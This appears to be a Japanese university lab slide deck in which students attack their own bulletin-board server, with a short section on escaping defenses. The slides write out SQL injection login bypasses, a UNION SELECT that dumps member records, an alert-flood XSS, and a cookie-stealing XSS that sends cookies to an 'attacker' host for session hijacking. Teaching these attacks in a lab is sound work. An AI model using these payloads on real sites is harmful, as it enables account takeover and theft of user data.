サーバを構築してみた ・様々な方法を利用して掲示板を壊してみる。 (6時間) - Session Hijacking - Cross Site Scripting(XSS) - SQL Injection

1. サーバを作ってみた (4)
Nagoya Institute of
Technology
Department of Computer
Science
Yoon, SeungYong

2. 今回の目標
簡単な攻撃手法を理解する
 SQL Injectionってなに？
 DoS攻撃ってなに？
 Session Hijackingってなに？
 XSS(Cross Site Scripting)ってなに？
破壊！

3. SQL INJECTION
このクエリのWHERE節をいつもTrueにさせる方法は？
 SELECT * FROM member WHERE id = ‘$user_id’ AND password = ‘$user_pass’
これはどう？
 SELECT * FROM member WHERE id = ‘user’ AND pass = ‘’ OR ‘’ = ‘’
 SELECT * FROM member WHERE id = ‘admin’ --’ AND pass = ‘dummy’
このようにSQLクエリの一部を試す方法をSQL Injection攻撃という

4. DOS攻撃
DoS Attack : Denial of Service Attack = サービス拒否攻撃
もし、掲示板が見られなくなったら？
もし、サーバへのアクセスができなくなったら？
もっとひどい攻撃としてDDoS攻撃がある
 Distributed Denial of Service Attack

5. SESSION HIJACKING
ログインするたびに生成されるものは？
もしあれを手に入れることができたら？

6. XSS(CROSS SITE SCRIPTING)
自分が気づかぬうちに何らかのスクリプトが動いていたら？
 そのスクリプトはあなたのSessionかもしれない
 そのスクリプトはあなたのページだけ変造してるかもしれない
 そのスクリプトはあなたの個人情報を外に流しているかもしれない

7. 破壊！
不正ログイン
権限のないポストの修正・削除
掲示板荒し
他人のアカウントでログイン
会員情報の取得

8. 不正ログイン
さっきのやつコピーペー
 SELECT * FROM member WHERE id = ‘$user_id’ AND password = ‘$user_pass’
を
 SELECT * FROM member WHERE id = ‘user’ AND pass = ‘’ OR ‘’ = ‘’
 もしくは
 SELECT * FROM member WHERE id = ‘admin’ --’ AND pass = ‘dummy’
に

9. 権限のないポストを修正・削除
削除ページは
 http://yourserver/delete.php?post_id=$post_id
そこで権限の確認は
 SELECT * FROM board WHERE id = $post_id AND writer_id = $login_id
じゃ、これはどう？
 http://yourserver/delete.php?post_id=12--

10. 掲示板荒し
もしポストのタイトルにスクリプトが入っていたら？
haha<script>for(var i=0; i<1000; i++) alert(‘haha’);</script>

11. 他人のアカウントでログイン
Fiddlerを利用しよう
 http://fiddler2.com/
 とても有名なウェブデバッガー
送るクッキーにどっかで取ったセッションを挿入、終わり。
他人のセッションの取得？
 <script>document.write(‘<img src=”http://attacker/1pximage?’ + document.cookie +
‘”>’);</script>
 そしてログを見る
 ログは /var/log/apache2/access.log

12. 会員情報を取得
SQLのUNION節を用いる
 SELECT * FROM board WHERE id = $post_id
 SELECT * FROM board WHERE id = 0 UNION ALL SELECT *, ‘’, ‘’, ‘’, ‘’, ‘’ from member
http://yourserver/view.php?post_id=1 UNION ALL SELECT *, '', '', '', '', '' from
member LIMIT 0, 1

13. 対策
いつも！エスケープ
 ‘を’に替えたり・・・
 <script>を削除したり・・・
 そもそも<を&lt;などで替えたり
セッションを用いるときはIPとかも確認したり・・・

14. 次回（があれば）
ファイルアップロード機能の追加
そして、破壊！